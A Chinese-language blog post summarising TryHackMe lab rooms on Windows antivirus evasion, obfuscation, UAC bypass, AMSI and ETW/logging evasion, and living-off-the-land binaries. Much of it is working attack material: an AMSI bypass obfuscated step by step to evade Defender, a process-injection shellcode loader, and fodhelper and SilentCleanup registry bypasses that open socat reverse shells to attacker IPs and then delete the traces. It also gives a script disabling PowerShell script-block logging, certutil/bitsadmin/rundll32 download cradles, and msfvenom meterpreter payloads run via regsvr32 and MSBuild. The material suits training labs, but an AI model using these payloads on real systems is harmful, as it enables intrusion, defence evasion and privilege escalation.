大家好,欢迎来到IT知识分享网。
防病毒简介
什么是AV软件?
防病毒 ( AV ) 软件是额外的安全层,旨在检测并防止目标操作系统中恶意文件的执行和传播。它是一个基于主机的应用程序,实时(在后台)运行以监视和检查当前和新下载的文件。反病毒软件使用不同的技术检查并确定文件是否是恶意的
防病毒引擎
- 扫描器
- 检测技术
- 压缩器和档案
- 拆包机
- 模拟器
- 扫描器
扫描器
AV产品通常包含扫描仪功能:AV 软件实时或按需运行和扫描。此功能可在 GUI 中或通过命令提示符使用。用户可以在需要检查文件或目录时使用它。扫描功能必须支持最知名的恶意文件类型才能检测和消除威胁。此外,根据反病毒软件的不同,它还可能支持其他类型的扫描,包括漏洞、电子邮件、Windows内存和Windows注册表。
检测技术
AV检测技术搜索并检测恶意文件;AV 引擎中可以使用不同的检测技术,包括:
- 基于签名的检测是传统的反病毒技术,可在文件中查找预定义的恶意模式和签名。
- 启发式检测是一种更先进的技术,包括分析可疑文件的各种行为方法。
- 动态检测是一种包括监控系统调用和 API 以及在隔离环境中进行测试和分析的技术。
压缩器和档案
“压缩器和档案”功能应该包含在任何AV软件中。它必须支持并能够处理各种系统文件类型,包括压缩或存档文件:ZIP、TGZ、7z、XAR、RAR 等。恶意代码通常试图通过隐藏在压缩文件中来逃避基于主机的安全解决方案。 因此,在用户打开存档中的文件之前,反病毒软件必须解压缩并扫描所有文件。
PE 解析和解包程序
- 恶意软件通过在有效负载中压缩和加密其恶意代码来隐藏和打包其恶意代码。它在运行时自行解压缩和解密,使静态分析变得更加困难。因此,反病毒软件必须能够在运行时进行静态分析之前检测并解压大多数已知的加壳程序(UPX、Armadillo、ASPack 等)。
- 恶意软件开发人员使用各种技术(例如打包)来缩小恶意文件的大小并更改其结构。打包会压缩原始可执行文件以使其更难以分析。因此,反病毒软件必须具有解包功能,将受保护或压缩的可执行文件解包为原始代码。
- AV软件必须具备的另一个功能是 Windows 可移植可执行文件 (PE) 标头解析器。解析可执行文件的PE有助于区分恶意软件和合法软件(.exe文件)。Windows(32 位和 64 位)中的 PE 文件格式包含各种信息和资源,例如目标代码、DLL、图标文件、字体文件和核心转储。
模拟器
模拟器是一种防病毒功能,可对可疑文件进行进一步分析。一旦模拟器收到请求,模拟器就会在虚拟化和受控环境中运行可疑文件(exe、DLL、PDF 等)。它监视可执行文件在执行过程中的行为,包括 Windows API 调用、注册表和其他 Windows 文件。以下是模拟器可能收集的工件的示例:
- API调用
- 内存转储
- 文件系统修改
- 记录事件
- 正在运行的进程
- 网络请求
当收集到足够的工件来检测恶意软件时,模拟器会停止文件的执行。
其他共同特征
以下是AV产品的一些常见功能:
- 自我保护驱动程序,可防止恶意软件攻击实际的反病毒软件。
- 防火墙和网络检查功能。
- 命令行和图形界面工具。
- 守护进程或服务。
- 管理控制
AV静态检测
AV检测可以分为三种主要方法:
- 静电检测
- 动态检测
- 启发式和行为检测
原理
其他检测技术
动态检测
启发式和行为检测
现代反病毒软件依靠这种类型的检测来检测恶意软件。启发式分析使用各种技术,包括静态和动态启发式方法:
- 静态启发式分析是反编译(如果可能)和提取恶意软件源代码的过程。然后,将提取的源代码与其他众所周知的病毒源代码进行比较。这些源代码是先前已知的并在启发式数据库中预定义。如果匹配达到或超过阈值百分比,则该代码将被标记为恶意代码。
- 动态启发式分析基于预定义的行为规则。安全研究人员在隔离和安全的环境中分析可疑软件。根据他们的发现,他们将该软件标记为恶意软件。然后,创建行为规则以匹配目标计算机内软件的恶意活动。
以下是行为规则的示例:
- 如果进程尝试与包含用户 NTLM 哈希、Kerberos 票证等的 LSASS.exe 进程交互
- 如果进程打开侦听端口并等待接收来自命令和控制 (C2) 服务器的命令
AV 测试和指纹识别
AV测试环境
VirusTotal
https://www.virustotal.com/
VirusTotal替代品
https://antiscan.me/ https://virusscan.jotti.org/
指纹AV软件
混淆原理
简单来说混淆用于保护知识产权,应用程序的专有信息,但是反过来利用这点,可以避免AV软件的检测
混淆静态的常见方法
为了逃避签名,攻击者可以利用广泛的逻辑和语法规则来实施混淆。通常有以下方法:
混淆法 目的 数组变换 通过拆分、合并、折叠和展平来转换数组 数据编码 使用数学函数或密码对数据进行编码 数据程序化 用过程调用替换静态数据 数据分割/合并 将一个变量的信息分配到多个新变量中
对象串联
语言 串联运算符 Python “+” PowerShell “+”, ”,”, ”$”, or no operator at all C# “+”, “String.Join”, “String.Concat” C “strcat” C++ “+”, “append”
还可以利用的一些常见的非解释字符,进行字符串连接:
语言 作用 例子 C# 重新排序字符串的组件 ('{1}{0}'-f'ffee','co') // -f是插值运算符,'ffee'和'co'是要插入的表达式,"{1}{0}"表示待插入的字符串模板 ==> coffe C# 包含未解释的空白 .( 'Ne' +'w-Ob' + 'ject') //它将字符串"Ne"、"w-Ob"和"ject"拼接在一起,得到最终的结果 ==> New-Object C# 包括未解释的刻度 d`own`LoAd`Stri`ng //使用反引号 ` 将特定的字符组合起来,==> downLoadString 其他 任意大小写 dOwnLoAdsTRing
演示
这里以混淆 Powershell代码,直到逃避 Denfender的检测
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
首先执行一部分的代码片段,观察一些返回的结果
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
经过分析,发现前面的字符都没有问题,那应该就是最后一个字符被 Defender检测到了 “AmsiUtils”
[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils')
[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
继续尝试字符串拼接
[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('ams'+'iIni'+'tFailed','NonPu'+'blic,S'+'tatic') [Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
变量替换
$a="SetValue" [Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('ams'+'iIni'+'tFailed','NonPu'+'blic,S'+'tatic').$a($null,$true)
混淆的分析欺骗功能
在混淆恶意代码的基本功能后,它可能能够通过软件检测,但仍然容易受到人类分析,分层混淆分类法如下:
混淆法 目的 垃圾代码 添加无用的垃圾指令,也称为代码存根 相关代码的分离 将相关代码或指令分开,增加程序阅读难度 去除冗余符号 剥离符号信息,例如调试信息或其他符号表 无意义的标识符 将有意义的标识符转换为无意义的标识符 隐式控制 将显式控制指令转换为隐式指令 基于调度程序的控制 确定运行时期间要执行的下一个块 概率控制流 引入具有相同语义但不同语法的控制流复制 虚假控制流 控制流故意添加到程序中但永远不会被执行
代码流程和逻辑
逻辑语句 作用 if/else 仅当满足条件时才执行,否则将执行不同的代码块 try/catch 如果无法处理错误,将尝试执行代码块并捕获它。 switch case switch将遵循与 if 语句类似的条件逻辑,但在解析为中断或默认之前,会使用case检查几种不同的可能条件 for/while for循环将执行一定量的条件。while循环将执行,直到不再满足条件。
在处理控制流时,攻击者的目标是引入足够多的晦涩且任意的逻辑来迷惑分析人员。
任意控制流模式
https://mathworld.wolfram.com/CollatzProblem.html
示例代码:
x = 0 while(x > 1): if(x%2==1): x=x*3+1 else: x=x/2 if(x==1): print("hello!")
如果x是大于1的正整数,那么x始终等于0,否则它将不会输出 hello!
保护和剥离可识别信息
#include "windows.h" #include <iostream> #include <string> using namespace std; int main(int argc, char* argv[]) {
unsigned char shellcode[] = ""; HANDLE processHandle; HANDLE remoteThread; PVOID remoteBuffer; string leaked = "This was leaked in the strings"; processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1]))); cout << "Handle obtained for" << processHandle; remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); cout << "Buffer Created"; WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL); cout << "Process written with buffer" << remoteBuffer; remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); CloseHandle(processHandle); cout << "Closing handle" << processHandle; cout << leaked; return 0; }
#include "windows.h" #include <iostream> //用于输入输出操作,用cout打印输出到控制台 #include <string> //定义了一些与字符串相关的功能 using namespace std; //进行Windows编程和字符串操作 int main(int argc, char* argv[]) {
unsigned char shellcode[] = ""; HANDLE processHandle; HANDLE remoteThread; PVOID remoteBuffer; processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1]))); remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL); remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); CloseHandle(processHandle); return 0; }
#include "windows.h" int main(int argc, char* argv[]) {
unsigned char sc[] = ""; HANDLE ph; HANDLE rd; PVOID rr; ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1]))); rr = VirtualAllocEx(ph, NULL, sizeof sc, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); WriteProcessMemory(ph, rr, sc, sizeof sc, NULL); rd = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rr, NULL, 0, NULL); CloseHandle(ph); return 0; }
签名规避
即使使用了一些最常见的混淆或规避技术 ,恶意文件中的签名可能仍然存在。为了对抗持久签名,我们可以单独观察每个签名并根据需要对其进行处理。
自动签名识别
AMSI触发
https://github.com/RythmStick/AMSITrigger/releases
- -i 指定文件
- -f 指定扫描的参数
AMSITrigger -i file_name -f 3
基于静态代码的签名
分层混淆分类法涵盖了作为混淆方法和混淆类层一部分的最可靠的解决方案。
混淆方法
混淆法 目的 方法代理 创建代理方法或替换对象 方法分散/聚合 将多种方法合并为一种方法或将一种方法分散为多种方法 方法克隆 创建方法的副本并随机调用每个方法
混淆类
混淆法 目的 类层次结构扁平化 使用接口为类创建代理 类拆分/合并 将局部变量或指令组传输到另一个类 删除修饰符 删除类修饰符(公共、私有)并使所有成员成为公共
分割和合并对象
下面是检测到的原始字符串
string MessageFormat = @"{
{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2},""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";
下面是用于替换和连接字符串的新类。
public static string GetMessageFormat //格式化公共方法 {
get // Return the property value {
var sb = new StringBuilder(@"{
{""GUID"":""{0}"","); // 启动内置的串联方法 sb.Append(@"""Type"":{1},"); // 将子字符串附加到字符串上 sb.Append(@"""Meta"":""{2}"","); sb.Append(@"""IV"":""{3}"","); sb.Append(@"""EncryptedMessage"":""{4}"","); sb.Append(@"""HMAC"":""{5}""}}"); return sb.ToString(); // 将连接后的字符串返回给类 } } string MessageFormat = GetMessageFormat
静态属性签名
通常是文件的属性,可以尝试进行修改,避免检测
行为特征
原理
混淆函数和属性可以通过最少的修改实现很多效果。即使在破坏附加到文件的静态签名之后,现代引擎仍然可以观察二进制文件的行为和功能。
API 调用和操作系统本机的其他函数需要指向函数地址的指针和使用它们的结构。函数的结构简单;它们位于 导入库中,例如kernel32或 ,ntdll它们存储 Windows 的函数结构和其他核心信息。函数导入最重要的问题是函数地址。获取指针可能看起来很简单,但由于ASLR(地址空间布局R随机化) ,函数地址是动态的并且必须找到。
使用Windows 加载程序 ,而不是在运行时更改代码。windows.h在运行时,加载程序会将所有模块映射到进程地址空间并列出每个模块的所有函数。它处理模块,但是函数地址是如何分配的呢?
演示
- 定义调用的结构
- 获取调用地址所在模块的句柄
- 获取调用的进程地址
- 使用新创建的调用
定义调用的结构
typedef BOOL (WINAPI* myNotGetComputerNameA)( LPSTR lpBuffer, LPDWORD nSize );
获取调用地址所在模块的句柄
HMODULE hkernel32 = LoadLibraryA("kernel32.dll");
获取调用的进程地址
myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA) GetProcAddress(hkernel32, "GetComputerNameA");
混淆以下 C 代码片段:
#include <windows.h> #include <stdio.h> #include <lm.h> int main() {
printf("GetComputerNameA: 0x%p\\n", GetComputerNameA); CHAR hostName[260]; DWORD hostNameLength = 260; if (GetComputerNameA(hostName, &hostNameLength)) {
printf("hostname: %s\\n", hostName); } }
===》
#include <windows.h> #include <stdio.h> #include <lm.h> typedef BOOL (WINAPI* notname)(LPSTR lpBuffer, LPDWORD nSize); int main() {
HMODULE add = LoadLibraryA("kernel32.dll"); notname hihi = (notname) GetProcAddress(add, "GetComputerNameA"); CHAR coucou[260]; DWORD coul = 260; if (hihi(coucou, &coul)) {
printf("hostname: %s\\n", coucou); } }
总结
- 不存在可疑的库调用
- 没有泄漏函数或变量名称
- 文件哈希与原始哈希不同
- 二进制绕过常见的防病毒引擎
绕过UAC
用户帐户控制 (UAC)
什么是UAC?
用户帐户控制 ( UAC ) 是一项 Windows 安全功能,默认情况下强制任何新进程在非特权帐户的安全上下文中运行。此策略适用于任何用户(包括管理员本身)启动的进程。当用户 决定启动恶意应用程序并且禁用UAC ,则恶意应用程序将立即获得管理员权限。相反,当启用 UAC 时,恶意应用程序将被限制为非管理访问令牌
UAC提权
诚信等级
诚信等级 使用 Low 一般用于与 Internet(即 Internet Explorer)交互。权限非常有限。 Medium 分配给标准用户和管理员的过滤令牌。 High 如果启用了UAC,则由管理员提升的令牌使用。如果禁用 UAC,所有管理员将始终使用高 IL 令牌。 System 保留供系统使用。
当进程需要访问资源时,它将继承调用用户的访问令牌及其关联的 IL。如果一个进程分叉一个子进程,也会发生同样的情况。
过滤后的令牌
为了实现这种角色分离,UAC在登录期间以稍微不同的方式对待普通用户和管理员:
- 非管理员在登录时将收到一个访问令牌,该令牌将用于用户执行的所有任务。具有中等 IL。
- 管理员将收到两个访问令牌:
- 过滤令牌:剥离了管理员权限的令牌,用于常规操作。具有中等 IL。
- 提升的令牌:具有完全管理员权限的令牌,在需要使用管理权限运行某些内容时使用。该令牌具有高 IL。
以通常的方式打开应用程序
https://processhacker.sourceforge.io/downloads.php
用户控制中心设置
- 始终通知:在更改 Windows 设置或程序尝试安装应用程序或对计算机进行更改时,通知并提示用户授权。
- 仅当程序尝试对我的计算机进行更改时通知我:当程序尝试安装应用程序或对计算机进行更改时,通知并提示用户进行授权。更改 Windows 设置时不会提示管理员。
- 仅当程序尝试对我的计算机进行更改时通知我(不要使我的桌面变暗):与上面相同,但不会在安全桌面上运行UAC提示符。
- 从不通知:禁用UAC提示。管理员将使用高权限令牌来运行一切。
UAC内部结构
UAC的核心是应用程序信息服务或Appinfo。每当用户需要提升权限时,就会发生以下情况:
- 用户请求以管理员身份运行应用程序。
- ShellExecute API 调用是使用runas动词进行的。
- 该请求被转发到 Appinfo 来处理提升。
- 检查应用程序清单以查看是否允许自动提升(稍后将详细介绍)。
- Appinfo 执行consent.exe ,这会在安全桌面上显示UAC提示符。安全桌面只是一个单独的桌面,它将进程与实际用户桌面中运行的任何进程隔离开来,以避免其他进程以任何方式篡改 UAC 提示符。
- 如果用户同意以管理员身份运行应用程序,Appinfo 服务将使用用户的提升令牌执行请求。然后,Appinfo 将设置新进程的父进程 ID,以指向请求提升的 shell。
UAC绕过
基于 GUI 的绕过
案例:msconfig
案例:azman.msc
自动提升进程
- 可执行文件必须由 Windows 发布者签名
- 可执行文件必须包含在受信任的目录中,例如%SystemRoot%/System32/或者%ProgramFiles%/
- 可执行文件 (.exe) 必须在其清单中声明autoElevate元素。要检查文件的清单,我们可以使用sigcheck工具,如果我们检查 msconfig.exe 的清单,将找到 autoElevate 属性:
C:\tools\> sigcheck64.exe -m c:/windows/system32/msconfig.exe ... <asmv3:application> <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings"> <dpiAware>true</dpiAware> <autoElevate>true</autoElevate> </asmv3:windowsSettings> </asmv3:application>
sigcheck工具下载:
https://learn.microsoft.com/en-us/sysinternals/downloads/sigcheck
- mmc.exe 将根据用户请求的 .msc 管理单元自动提升。Windows 附带的大多数 .msc 文件都会自动提升。
- Windows 会保留一个附加的可执行文件列表,即使清单中未请求,也会自动提升。例如,此列表包括 pkgmgr.exe 和 spinstall.exe。
- COM 对象还可以通过配置一些注册表项来请求自动提升
https://docs.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker
案例:Fodhelper
原理
Computer\HKEY_CLASSES_ROOT\htmlfile\shell\open\command
演示
- 设置一个环境变量REG_KEY,用于指定要修改的注册表键的路径
- 设置一个环境变量CMD,用于指定要运行的命令。该命令是一个包含powershell和socat的命令行,它会在隐藏的方式下运行socat,将系统的输入输出重定向到一个指定的IP地址和端口,最后建立反向shell
- 添加一个名为”DelegateExecute”的注册表值,并将其数据设置为空字符串。这是一种常用的绕过UAC(用户账户控制)的技术,它用于让程序绕过用户权限限制以获取更高的权限。
- 添加一个名为Default的注册表值,并将其数据设置为之前设置的CMD环境变量所存储的命令。这将使得在用户登录后,系统会自动执行该命令,即运行socat以建立反向Shell。
set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<attacker_ip>:4444 EXEC:cmd.exe,pipes" reg add %REG_KEY% /v "DelegateExecute" /d "" /f reg add %REG_KEY% /d %CMD% /f fodhelper.exe
成功接受反向shell,切令牌为高IL
痕迹清除:
reg delete HKCU\Software\Classes\ms-settings\ /f
Fodhelper 绕过 Defender
速度竞争:
C:\> set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command C:\> set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<attacker_ip>:4444 EXEC:cmd.exe,pipes" C:\> reg add %REG_KEY% /v "DelegateExecute" /d "" /f The operation completed successfully. C:\> reg add %REG_KEY% /d %CMD% /f & fodhelper.exe
fodhelper 可能会在AV启动之前执行,给您一个反向 shell。但是不可靠
powershell版本
$program = "powershell -windowstyle hidden C:\tools\socat\socat.exe TCP:10.9.91.80:4444 EXEC:cmd.exe,pipes" New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value "$program" -Force New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".pwn" -Force Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
接收到高IL的shell
痕迹清除
reg delete "HKCU\Software\Classes\.pwn\" /f reg delete "HKCU\Software\Classes\ms-settings\" /f
环境变量扩展
在默认 Windows 配置上,我们可以滥用与系统配置相关的应用程序来绕过UAC,如果 UAC 配置为“始终通知”级别,fodhelper 和类似的应用程序将没有任何用处,因为它们将要求用户通过 UAC 提示来提升。这将阻止使用几种已知的绕过方法。
案例:磁盘清理计划任务
"cmd.exe /c C:\tools\socat\socat.exe TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes &REM "
- 其中,REM为添加注释的命令
相当于该计划任务,后面的内容都被注释了,只剩下恶意命令
cmd.exe /c C:\tools\socat\socat.exe TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes &REM \system32\cleanmgr.exe /autoclean /d %systemdrive%
演示
写入有效载荷放入 %windir% 中
reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe TCP:10.9.91.80:4446 EXEC:cmd.exe,pipes &REM " /f
执行计划任务,/I 代表当前用户界面交互式
schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
返回4446监听端口,可以看见成功接收到高IL的shell
清除痕迹
reg delete "HKCU\Environment" /v "windir" /f
自动利用
有一个出色的工具可用于测试UAC绕过,而无需从头开始编写漏洞利用程序。下载地址:
https://github.com/hfiref0x/UACME
使用方法:指定编号即可
UACME-Akagi64.exe 33
方法编号 旁路技术 33 fodhelper.exe 34 磁盘清理计划任务 70 使用 CurVer 注册表项的 fodhelper.exe
关于其他的UAC技术,可以参考这些:
https://www.bleepingcomputer.com/news/security/bypassing-windows-10-uac-with-mock-folders-and-dll-hijacking/
https://elastic.github.io/security-research/whitepapers/2022/02/03.exploring-windows-uac-bypass-techniques-detection-strategies/article/
https://www.tiraniddo.dev/2017/05/reading-your-way-around-uac-part-1.html
运行时检测规避
运行时检测
当执行代码或应用程序时,无论解释器如何,它几乎总是会流经运行时。运行时检测措施将在运行时执行之前扫描代码并确定其是否是恶意的。根据其背后的检测措施和技术,此检测可以基于字符串签名、启发式或行为。如果代码被怀疑是恶意的,则会为其分配一个值,如果在指定范围内,它将停止执行,并可能隔离或删除文件/代码。
AMSI 概述
https://docs.microsoft.com/en-us/windows/win32/amsi/
AMSI 将根据监控和扫描的响应代码确定其操作。以下是响应代码的列表:
- AMSI_RESULT_CLEAN = 0
- AMSI_RESULT_NOT_DETECTED = 1
- AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
- AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
- AMSI_RESULT_DETECTED = 32768
- 用户帐户控制(UAC)
- powershell
- Windows 脚本宿主(wscript 和 cscript)
- JavaScript 和 VBScript
- Office VBA 宏
作为攻击者,当针对上述组件,我们在执行代码或滥用组件时需要注意 AMSI 及其实现。
PowerShell降级
PowerShell -Version 2
这种攻击可以在Unicorn等工具中被积极利用 :
https://github.com/trustedsec/unicorn
蓝队有多种方法可以检测和减轻这种攻击,两个最简单的缓解措施是从设备中删除PowerShell 2.0 引擎并通过应用程序阻止列表拒绝对 PowerShell 2.0 的访问。
powershell 反射
反射允许用户或管理员访问.NET 程序集并与之交互。根据 Microsoft 文档,“程序集构成了基于 .NET 的应用程序的部署、版本控制、重用、激活范围和安全权限的基本单元。” .NET 程序集可能看起来很陌生;然而,我们可以通过知道它们以熟悉的格式形成,例如exe(可执行文件)和dll(动态链接库 )来使它们更加熟悉。
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
自动化
http://amsi.fail/
逃避日志记录和监控
事件追踪
Windows 中的几乎所有事件日志记录功能都是由 ETW 在应用程序和内核级别处理的。虽然还有事件日志记录和跟踪日志记录等其他服务,但这些服务要么是 ETW 的扩展,要么对攻击者来说不太常见。
成分 目的 (控制器)Controllers 构建和配置会话 (供应商)Providers 生成事件 (消费者)Consumers 解读事件
日志规避方法
事件ID 作用 1102 清除 Windows 安全审核日志时记录 104 清除日志文件时记录 1100 Windows 事件日志服务关闭时记录
上述事件ID可以监控销毁日志或“日志粉碎”的过程。这给试图篡改或破坏日志的攻击者带来了明显的风险。尽管可以进一步绕过这些缓解措施或篡改日志,但我们必须评估风险。在接近某个环境时,通常不了解安全实践,并且尝试此方法会带来OPSEC(操作安全)风险。
追踪仪器
https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing#providers
事件提供者用于生成事件。为了扩展这个定义,控制器将告诉提供者如何操作,然后从其指定源收集日志。还有四种不同类型的提供商,支持各种功能和遗留系统:
提供者 目的 MOF(托管对象格式)_ _ 定义 MOF 类的事件。一次由一个跟踪会话启用。 WPP(Windows软件跟踪预处理器) 与TMF (Trace Message Format )文件关联 以解码信息。 一次由一个跟踪会话启用。 基于清单的 定义清单中的事件。一次最多可启用八个跟踪会话。 跟踪记录 包含所有必需信息的自描述事件。一次最多可启用八个跟踪会话。 // 官方文档 https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing#providers
成分 技巧 提供者 PSEtwLogProvider 修改、组策略接管、日志管道滥用、类型创建 控制器 修补 EtwEventWrite、运行时跟踪篡改、 消费者 日志粉碎、日志篡改
常见的事件ID
脚本块日志记录将记录PowerShell会话中执行的任何脚本块。ETW 提供程序在 PowerShell v4 中引入并在 PowerShell v5 中改进,它有两个要报告的事件 ID。
事件ID 目的 4103 记录命令调用 4104 记录脚本块的执行
查找 4103事件ID的数量
Get-WinEvent -FilterHashtable @{
ProviderName="Microsoft-Windows-PowerShell"; Id=4103} | Measure | % Count
日志规避
通过powershell反射,执行脚本
$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static'); If ($GroupPolicyField) {
$GroupPolicyCache = $GroupPolicyField.GetValue($null); If ($GroupPolicyCache['ScriptBlockLogging']) {
$GroupPolicyCache['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0; $GroupPolicyCache['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0; } $val = [System.Collections.Generic.Dictionary[string,System.Object]]::new(); $val.Add('EnableScriptBlockLogging', 0); $val.Add('EnableScriptBlockInvocationLogging', 0); $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'] = $val };
打开日志管理器
如图进行清除日志
然后来到这个目录下,找到powershell,删除日志并且关闭日志启用
靠土地为生
什么是靠土地为生?
- 侦察
- 文件操作
- 任意代码执行
- 横向运动
- 安全产品绕过
洛巴斯项目
什么是LOLBAS?
https://lolbas-project.github.io/
文件操作
Certutil
Certutil 是一个用于处理认证服务的 Windows 内置实用程序。它用于转储和显示证书颁发机构 (CA) 配置信息和其他 CA 组件。因此,该工具的正常用途是检索证书信息。但是它还可以下载web服务器的文件:
certutil -URLcache -split -f http://Attacker_IP/payload.exe C:\Windows\Temp\payload.exe
- -urlcache 显示 URL,启用在命令中使用的 URL 选项
- -split -f 分割并强制从提供的 URL 获取文件。
编码文件:
certutil -encode payload.exe Encoded-payload.txt
解码文件:
certutil -decode Encoded_file payload.txt
certutil的官方文档:
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
BITSAdmin
Bitsadmin 工具 是一个系统管理员实用程序。用法如下:
- /Transfer 使用传输选项
- /Download 我们正在指定使用下载类型的传输
- /Priority 我们正在设置要在前台运行的作业的优先级
bitsadmin.exe /transfer /Download /priority Foreground http://Attacker_IP/payload.exe c:\Users\thm\Desktop\payload.exe
findstr
是 Microsoft 内置工具,用于查找文件中的文本和字符串模式。使用 findstr.exe从网络内的SMB共享文件夹下载远程文件:
- /V 打印出不包含所提供字符串的行。
- dummystring 要搜索的文本;在代码中,我们提供了一个不能在文件中找到的字符串。
- c:\Windows\Temp\test.exe 将输出重定向到目标计算机上的文件。
findstr /V dummystring \\MachineName\ShareFolder\test.exe > c:\Windows\Temp\test.exe
文件执行
该技术称为 “签名二进制代理执行” 或 “间接命令执行”,攻击者利用其他系统工具生成恶意负载。这种技术还有助于逃避防守控制。
文件管理器
- /root 用于指定打开资源管理器时的根目录
explorer.exe /root,"C:\Windows\System32\calc.exe"
WMIC
wmic.exe process call create calc
Rundll32
- Windows 32 位版本的 C:\Windows\System32\rundll32.exe
- Windows 64 位版本的 C:\Windows\SysWOW64\rundll32.exe
执行文件:
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
远程web下载:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://AttackBox_IP/script.ps1');");
应用程序白名单绕过
不过现在该技术似乎过时了
Regsvr32
利用 msfvenom生成一个恶意的dll文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.91.80 LPORT=4444 -f dll -a x86 > live0fftheland.dll
如下所示:
regsvr32.exe c:\Users\thm\Downloads\a.dll or regsvr32.exe /s /n /u /i:http://example.com/file.sct Downloads\a.dll
使用第二个选项(这是一个更高级的命令),我们指示 regsvr32.exe 运行 :
- /s:处于静默模式(不显示消息)
- /n : 不调用DLL注册服务器
- /i: : 使用另一台服务器,因为我们使用了 /n
- /u:使用注销方法运行
如果我们想要创建 64 位 DLL 版本,注意在以下路径运行
C:\Windows\SysWOW64\regsvr32.exe的 64 位版本的regsvr32.exe
谍影重重 Shell (Bash)
bash.exe -c "path-to-payload"
其他技术
快捷方式
- Rundll32
- Powershell
- Regsvr32
- Executable on disk
没有PowerShell
https://github.com/Mr-Un1k0d3r/PowerLessShell
使用 msfvenom生成PowerShell 有效负载:
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=AttackBox_IP LPORT=4444 -f psh-reflection > a.ps1
运行 PowerLessShell 工具并将源文件设置为我们使用 msfvenom 创建的文件并且生成a.csproj文件:
python PowerLessShell.py -type powershell -source a.ps1 -output a.csproj
最后在目标机器运行
c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe a.csproj
参考
https://tryhackme.com/jr/introtoav https://tryhackme.com/jr/obfuscationprinciples https://tryhackme.com/jr/signatureevasion https://tryhackme.com/jr/bypassinguac https://tryhackme.com/jr/runtimedetectionevasion https://tryhackme.com/jr/monitoringevasion https://tryhackme.com/room/livingofftheland
免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/99492.html





























